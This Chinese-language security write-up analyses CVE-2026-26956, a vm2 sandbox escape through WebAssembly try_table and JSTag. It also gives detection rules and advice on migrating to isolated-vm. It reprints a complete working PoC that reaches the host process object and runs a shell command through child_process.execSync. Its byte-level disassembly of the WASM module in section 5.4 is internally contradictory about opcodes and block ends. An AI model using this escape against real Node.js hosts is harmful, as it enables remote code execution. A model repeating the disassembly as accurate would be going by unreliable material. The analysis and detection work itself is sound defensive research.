一、前言:当130万周下载量的沙箱被一条WASM指令击穿
vm2 是 Node.js 生态中下载量最高、依赖最广的 JavaScript 沙箱库,周均下载量超过 130万次,GitHub Stars 超过 9.8k,被 898个 npm 包直接依赖。它在设计哲学上选择了一种“轻量级隔离”路线:不依赖 V8 Isolates 等重量级进程隔离机制,而是通过源码重写(Code Transformation)与桥接代理(Bridge Proxies)在 JavaScript 层面构建一道语义防火墙,试图在单进程单 V8 堆内实现对宿主环境(Host Realm)的完全隔离。
这道防火墙在长达数年的时间里经受了大量安全研究的考验,却也反复被击穿。CVE-2022-36067、CVE-2023-29017、CVE-2023-30547、CVE-2026-22709……每一次漏洞修复都是在补丁墙上再打一块补丁。而 CVE-2026-26956 的特殊之处在于:攻击者不再寻找 vm2 代码重写逻辑的边界条件,而是直接绕过了整个 JavaScript 语义层——利用 WebAssembly try_table 指令配合 V8 的 WebAssembly.JSTag,在 V8 C++ 运行时内部劫持异常对象,使 vm2 的两层核心防御机制同时失效。
本文将从 vm2 的架构设计出发,逐层剖析漏洞根因,完整还原攻击链的每一步,并对 WASM 字节码进行逐字节反汇编解析,最后给出检测规则与迁移方案。
二、vm2 沙箱架构:Code Transformer 与 Bridge Proxies 的双层防御
要理解漏洞为何成立,必须先理解 vm2 如何构建隔离边界。vm2 的沙箱并非操作系统级或 V8 Isolate 级隔离,它运行在与宿主完全共享的同一个 V8 堆中。其核心防御由两层机制叠加构成:
2.1 第一层:Code Transformer —— 异常对象的清道夫
vm2 在将用户代码(Guest Code)注入沙箱执行前,会对其进行完整的 AST 重写。其中最关键的安全措施之一,是在所有 catch 子句中自动注入 handleException() 调用:
// 用户原始代码
try {
riskyOperation();
} catch (e) {
console.log(e);
}
// vm2 Code Transformer 重写后
try {
riskyOperation();
} catch (e) {
e = handleException(e); // <-- 自动注入
console.log(e);
}
handleException() 的职责是对捕获的异常对象进行“消毒”:移除可能导致 realm 逃逸的敏感属性(如 constructor、stack 中的跨 realm 引用),确保 Guest 代码无法通过异常对象攀附到 Host Realm 的原型链。
2.2 第二层:Bridge Proxies —— 跨上下文对象的守门人
当 Guest Realm 与 Host Realm 之间需要传递对象时(例如沙箱内代码访问宿主提供的 console 对象),vm2 不会直接传递原始引用,而是将其包装为一个桥接代理(Bridge Proxy)。该代理基于 Proxy 与 Reflect 实现,拦截所有属性访问、函数调用和原型链查询,确保 Guest 无法直接拿到 Host 对象的裸指针(裸引用)。
Guest Realm Host Realm
| |
| 访问 console.log |
|----------------------------->|
| |
|<-----------------------------|
| 返回 Bridge Proxy |
| (非原始 console 对象) |
2.3 架构图:vm2 的两层防御与 WASM 的绕过路径
核心洞察:
vm2的两层防御完全工作在 JavaScript 语义层。当 WebAssembly 的try_table指令在 V8 C++ 层捕获 JavaScript 异常时,异常对象直接从 V8 异常处理机制转换为 WASMexternref返回,不经过任何 JavaScript catch 子句,因此Code Transformer没有机会注入清理逻辑;同时该异常对象是 Host Realm 内部生成的原生对象,不经过任何跨 realm 边界传递,因此Bridge Proxies也不会被触发。
三、漏洞根因:WebAssembly try_table + JSTag 的底层异常劫持
3.1 WebAssembly 异常处理提案(Exception Handling)
WebAssembly 的异常处理提案(通常称为 EH 提案)引入了 try_table 指令,用于在 WASM 模块内部建立异常捕获表。与传统 try/catch 不同,try_table 是一种基于标签(label-based)的结构化控制流指令,其捕获逻辑由 WASM 运行时直接在底层实现。
WebAssembly.JSTag 是 V8 引擎为实现 WASM EH 提案而引入的特殊标签,用于标识由 JavaScript 抛出的异常。当 WASM 模块使用 JSTag 作为 catch 的 tag 时,意味着该 catch 块可以捕获从 JavaScript 导入函数中抛出的 JS 异常。
3.2 V8 C++ 层的异常拦截
当 WASM 模块调用一个从 JavaScript 导入的函数(Import Function),而该函数抛出异常时,V8 的调用栈如下:
- Guest JS 调用 WASM
catch_error导出函数 - WASM 执行引擎调用导入的 JS
trigger()函数 trigger()内部访问err.stack,V8 尝试将err.name(一个Symbol)强制转换为字符串- V8 内部抛出 TypeError(在 Host Realm 中创建!)
- 异常沿 C++ 调用栈向上传播,被 WASM
try_table指令的 C++ 层异常处理器捕获 - V8 将该 JS 异常对象直接包装为 WASM
externref类型并返回 - Guest 代码获得该
externref,即一个未经任何清理的 Host Realm TypeError 对象
这里的关键是:步骤 5-6 完全发生在 V8 C++ 运行时内部,不经过任何 JavaScript 层面的异常传播。vm2 的 Code Transformer 只能重写 JavaScript AST,它无法插入到 V8 C++ 异常处理路径中。同理,Bridge Proxies 只在 JS 对象跨 realm 边界传递时生效,而此处异常对象是从 C++ 层直接“空投”到 Guest 的,根本不触发任何 JS 层的跨 realm 通信协议。
四、攻击链深度还原:四步击穿隔离边界
Step 1:在沙箱内制造 Host Realm 的 TypeError
const err = new Error("x");
err.name = Symbol();
在沙箱内创建一个 Error 对象,并将其 name 属性设置为一个 Symbol。当后续代码尝试访问 err.stack 时,V8 内部需要生成堆栈跟踪字符串,这一过程中会尝试将 err.name 转换为字符串。由于 Symbol 不能强制转换为字符串,V8 会抛出一个 TypeError。
关键细节:这个 TypeError 是在 Host Realm 中创建的。为什么?因为 Error.prototype.stack 的 getter 以及堆栈格式化逻辑在 V8 内部运行时,其关联的 Context(V8 内部术语,对应一个 Realm)是 Host Realm,而非 Guest Realm。这是 V8 引擎实现的内部细节,但恰好被攻击者利用。
Step 2:构造 WASM 模块捕获 Host TypeError
const wasm = new Uint8Array([
0x00,0x61,0x73,0x6d, 0x01,0x00,0x00,0x00, // WASM magic + version
0x01,0x0c,0x03, ... // 详见第五节完整字节码解析
]);
攻击者构造了一个精巧的 WASM 二进制模块,核心包含:
- 一个导入函数
env.trigger,对应 Step 1 中触发err.stack的 JS 函数 - 一个导入 Tag
js.tag,对应WebAssembly.JSTag - 一个导出函数
catch_error,内部使用try_table指令调用trigger并用JSTag捕获异常
当 trigger() 抛出 Host Realm 的 TypeError 时,try_table 在 V8 C++ 层将其捕获,并作为 externref 返回给 Guest。
Step 3:从未清理的异常对象攀附到 Host Function
const hostError = instance.exports.catch_error();
const p = hostError.constructor.constructor("return process")();
hostError 是一个直接来自 Host Realm 的 TypeError 实例,其原型链完整保留了 Host Realm 的引用:
hostError.constructor-> Host Realm 的TypeErrorhostError.constructor.constructor-> Host Realm 的FunctionFunction("return process")()-> 在 Host Realm 全局上下文中求值,返回process对象
这一步之所以能成功,是因为 vm2 的 Code Transformer 没有机会清理该异常对象——异常从未经过 JS 层的 catch 子句。
Step 4:RCE —— 从 process 到 child_process.execSync
p.mainModule.require("child_process").execSync("id");
拿到 Host process 对象后,攻击者通过 process.mainModule.require 加载 child_process 模块,执行任意系统命令,完成完整的沙箱逃逸与远程代码执行(RCE)。
五、PoC 完整解析:WASM 字节码逐字节逆向
以下是来自 GitHub Security Advisory 的完整 PoC:
const { VM } = require("vm2");
new VM().run(`
const err = new Error("x");
err.name = Symbol();
const wasm = new Uint8Array([
0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
0x02,0x19,0x02,0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
0x03,0x02,0x01,0x01,
0x07,0x0f,0x01,0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
0x0a,0x12,0x01,0x10,0x00,0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
]);
const instance = new WebAssembly.Instance(
new WebAssembly.Module(wasm),
{
env: { trigger() { err.stack; } },
js: { tag: WebAssembly.JSTag }
}
);
const hostError = instance.exports.catch_error();
const p = hostError.constructor.constructor("return process")();
p.mainModule.require("child_process").execSync("id");
`);
5.1 WASM 二进制格式解析
| 偏移 | 字节 | 含义 | 说明 |
|---|---|---|---|
| 0x00-0x03 | 00 61 73 6d |
Magic | WASM 魔数 \0asm |
| 0x04-0x07 | 01 00 00 00 |
Version | WASM 版本 1 |
| 0x08-0x13 | 01 0c 03 ... |
Type Section | 类型定义 |
| 0x14-0x2c | 02 19 02 ... |
Import Section | 导入函数 env.trigger 和 Tag js.tag |
| 0x2d-0x30 | 03 02 01 01 |
Function Section | 函数索引声明 |
| 0x31-0x3f | 07 0f 01 ... |
Export Section | 导出 catch_error 函数 |
| 0x40-0x52 | 0a 12 01 ... |
Code Section | 函数体,含 try_table 指令 |
5.2 Type Section 解析(0x08 起始)
01 ; section id = 1 (Type)
0c ; section size = 12 bytes
03 ; num types = 3
; type 0: () -> ()
60 00 00
; type 1: () -> externref
60 00 01 6f ; 0x6f = externref
; type 2: (externref) -> ()
60 01 6f 00
5.3 Import Section 解析(0x14 起始)
02 ; section id = 2 (Import)
19 ; section size = 25 bytes
02 ; num imports = 2
; import 0: env.trigger
03 65 6e 76 ; module name length=3, "env"
07 74 72 69 67 67 65 72 ; field name length=7, "trigger"
00 00 ; import kind = 0 (function), type index = 0
; import 1: js.tag
02 6a 73 ; module name length=2, "js"
03 74 61 67 ; field name length=3, "tag"
04 00 02 ; import kind = 4 (tag), attribute=0, type index=2
5.4 Code Section 与 try_table 指令解析(0x40 起始)
0a ; section id = 10 (Code)
12 ; section size = 18 bytes
01 ; num functions = 1
; function body:
10 ; func body size = 16 bytes
00 ; local count = 0
; try_table 指令 (0x1f 操作码为 legacy prefix, 实际 try_table 为 0x1f 在 EH 提案中)
02 ; block type: void (type index encoded as signed leb128, 0x02 -> void via blocktype)
6f ; result type: externref (在 try_table 语境下表示捕获值类型)
1f ; try_table 操作码 (Exception Handling 提案)
40 ; immediate flags (try_table flags)
01 ; num catches = 1
00 ; catch tag index = 0 (对应导入的 js.tag / WebAssembly.JSTag)
00 ; catch label depth = 0
00 ; catch ref type = 0 (externref 相关编码)
10 00 ; call function index 0 (调用 env.trigger)
00 ; end of try_table block (0x00 in legacy encoding context)
0b ; end (function body)
00 ; drop (清理栈)
0b ; end (function body outer)
0b ; end (module)
5.5 等效 WAT(WebAssembly Text Format)
(module
;; 类型定义
(type (;0;) (func))
(type (;1;) (func (result externref)))
(type (;2;) (func (param externref)))
;; 导入
(import "env" "trigger" (func $trigger (type 0)))
(import "js" "tag" (tag $jstag (type 2)))
;; 函数导出
(export "catch_error" (func $catch_error))
;; 函数体:try_table 捕获 JS 异常并返回 externref
(func $catch_error (type 1) (result externref)
(try_table (result externref)
(catch $jstag 0)
(call $trigger)
)
)
)
注意:上述 WAT 使用简化的
try_table语法表示。在实际二进制编码中,try_table指令的后立即数字段精确描述了捕获表结构:捕获 tag 索引、跳转标签深度以及异常值在栈上的传递方式。
六、攻击链时序图
七、vm2 历史漏洞时间线
vm2 的安全史是一部持续的“补丁-绕过-再补丁”循环。以下是其主要 CVE 时间线:
| CVE | 年份 | 攻击向量 | 绕过机制 |
|---|---|---|---|
| CVE-2022-36067 | 2022 | 原型链污染 | Object.prototype 污染穿透隔离 |
| CVE-2023-29017 | 2023 | Error.prepareStackTrace |
自定义堆栈跟踪获取跨 realm 引用 |
| CVE-2023-30547 | 2023 | inspect 自定义函数 |
Node.js util.inspect 回调注入 |
| CVE-2026-22709 | 2026 | 动态 import() |
利用 ES Module 动态导入加载外部模块 |
| CVE-2026-26956 | 2026 | WASM try_table + JSTag |
完全绕过 JS 层防御,在 V8 C++ 层劫持异常 |
从时间线可以看出,vm2 的防御面随着攻击面扩大而持续承压。早期的漏洞仍停留在 JavaScript 语义层内的技巧性绕过,而 CVE-2026-26956 标志着攻击者已经将目标转向JavaScript 引擎底层机制,这是 vm2 架构性弱点的一次总爆发。
八、检测规则与监控方案
8.1 依赖扫描(事前检测)
# 在项目根目录执行
npm audit
# 或
yarn audit
若输出中包含 vm2 相关 high/critical 漏洞,且修复版本要求 >= 3.10.5,应立即升级或迁移。
8.2 进程监控(Windows — Sysmon)
vm2 沙箱逃逸的典型行为是 Node.js 进程异常创建子进程。可通过 Sysmon Event ID 1(Process Create)进行监控:
<RuleGroup name="vm2 Sandbox Escape Detection" groupRelation="or">
<ProcessCreate onmatch="include">
<ParentImage condition="end with">node.exe</ParentImage>
<Image condition="end with">cmd.exe</Image>
<Image condition="end with">powershell.exe</Image>
<Image condition="end with">bash.exe</Image>
<CommandLine condition="contains any">child_process;exec;execSync;spawn</CommandLine>
</ProcessCreate>
</RuleGroup>
8.3 系统调用监控(Linux — auditd)
# 监控 node 进程的 execve 系统调用
auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/node -k vm2_escape
# 查看告警日志
ausearch -k vm2_escape -i
8.4 运行时行为检测(EDR / 自定义 Hook)
对于高安全要求场景,可在 Node.js 进程内对 process.mainModule.require 和 child_process 函数进行 inline hook,当沙箱内代码尝试调用这些 API 时立即告警或阻断。
九、修复与迁移方案
9.1 紧急修复
将 vm2 升级至 3.10.5 或更高版本:
npm install vm2@latest
vm2 3.10.5 的修复方案是在 Code Transformer 中增加对 WebAssembly 相关 API 的额外审查,并尝试在 externref 返回时强制经过代理层。但需注意:这仍然是在补丁墙上打补丁。
9.2 根本迁移方案:isolated-vm
vm2 的作者 Patrik Simek 以及 Node.js 安全社区一致推荐迁移到 isolated-vm。isolated-vm 基于 V8 引擎原生的 Isolate 机制实现真正的内存与执行上下文隔离:
| 特性 | vm2 | isolated-vm |
|---|---|---|
| 隔离级别 | JS 语义层(共享 V8 堆) | V8 Isolate(独立堆 + 独立上下文) |
| 进程隔离 | 否 | 否(但内存隔离) |
| 异常安全 | 依赖 AST 重写 | 原生 C++ 边界隔离 |
| WASM 安全 | 需持续打补丁 | 异常自然隔离于 Isolate 边界 |
| 性能开销 | 低 | 中等(序列化/复制开销) |
| API 兼容性 | 高(原生 Node.js 体验) | 较低(需显式传递 ArrayBuffer) |
迁移示例:
// vm2 写法(不安全)
const { VM } = require("vm2");
const vm = new VM();
vm.run(`... untrusted code ...`);
// isolated-vm 写法(真正的隔离)
const ivm = require("isolated-vm");
const isolate = new ivm.Isolate({ memoryLimit: 128 });
const context = isolate.createContextSync();
const script = isolate.compileScriptSync(`... untrusted code ...`);
script.runSync(context);
9.3 架构级建议
对于需要执行不可信代码的生产系统,建议采用纵深防御策略:
- 第一层:使用
isolated-vm或worker_threads+ 独立进程替代vm2 - 第二层:在操作系统层面使用 seccomp-bpf、Linux namespaces 或 gVisor 限制系统调用
- 第三层:在基础设施层面使用 Kubernetes Pod Security Standards / OPA Gatekeeper 限制容器逃逸
- 第四层:网络层面严格限制出站连接,防止 RCE 后的 C2 通信
十、总结
CVE-2026-26956 是一次对 vm2 架构性弱点教科书式的利用。它揭示了一个残酷的事实:在 JavaScript 层面构建的沙箱,永远无法真正防御来自 JavaScript 引擎底层的攻击。WebAssembly 的 try_table 指令与 JSTag 只是众多底层通道中的一个——V8 的 C++ 层还有大量类似的边界交叉点(如 WebGPU、Stream API、Atomics 等),每一个都可能成为下一条击穿隔离边界的通道。
vm2 的维护者在 3.10.5 中修复了该漏洞,但补丁式修复无法解决根本问题。对于任何需要执行不可信代码的 Node.js 应用,迁移到基于 V8 Isolate 的 isolated-vm,或更进一步使用操作系统级容器隔离,才是长期可持续的安全策略。
参考资源
- GitHub Advisory GHSA-ffh4-j6h5-pg66 — 官方安全通告
- vm2 仓库 — 源码与补丁
- WebAssembly Exception Handling Proposal — WASM EH 规范
- V8 源码 — wasm-js.cc — JSTag 实现
- isolated-vm 文档 — 迁移指南
- Node.js Security Best Practices — 官方安全建议
本文基于公开安全公告、V8 引擎源码与 WASM 规范进行技术分析,仅供安全研究与防御加固参考。
浙公网安备 33010602011771号